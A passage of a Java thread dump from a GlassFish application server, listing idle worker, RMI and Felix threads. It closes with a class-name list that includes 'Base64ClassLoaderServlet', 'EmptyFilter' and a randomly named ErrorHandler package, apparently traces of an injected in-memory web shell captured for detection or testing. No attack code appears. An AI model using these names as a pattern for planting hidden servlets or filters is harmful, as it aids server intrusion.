java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-2" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-12-thread-1" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c8c19ab + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(3)" #43 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@56577539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-expirer(1)" #60 daemon [TIMED_WAITING] on java.lang.Object@4a96e347 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(5)" #59 daemon [WAITING] on java.lang.Object@5fde3b06 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #27 daemon [WAITING] on java.util.TaskQueue@32b5f377 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"pool-15-thread-1" #112 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-14-thread-1" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5d17dd56 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-26-thread-1" #126 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-7" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb66013 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:801) + at com.sun.enterprise.server.logging.GFFileHandler$3.run(GFFileHandler.java:516) + +"FelixResolver-7" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/869873366.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-27-thread-1" #127 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-24-thread-1" #124 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-25" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-9" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-21-thread-1" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DynamicReloader" #63 daemon [TIMED_WAITING] on java.util.TaskQueue@1caff567 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-37" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fbcd07f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-22" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837818569" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@555e412b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-28" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-8686" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:535) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at java.net.ServerSocket.accept(ServerSocket.java:513) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"SCR Component Actor" #94 daemon [WAITING] on java.util.LinkedList@66f52c33 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:81) + at java.lang.Thread.run(Thread.java:750) + +"pool-23-thread-1" #123 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837818569" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@555e412b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"AutoDeployer" #64 daemon [TIMED_WAITING] on java.util.TaskQueue@3e10f3d7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"FelixFrameworkWiring" #19 daemon [WAITING] on java.util.ArrayList@23044169 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:172) + at java.lang.Thread.run(Thread.java:750) + +"pool-18-thread-1" #113 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[192.168.215.4:8686]" #73 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@781cef7b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #69 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@421f092 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"pool-16-thread-1" #115 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-4-thread-1" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@62b9decf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixStartLevel" #20 daemon [WAITING] on java.util.ArrayList@1441040d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:283) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-kernel(1) SelectorRunner" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.google.gso.BFyZn.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy 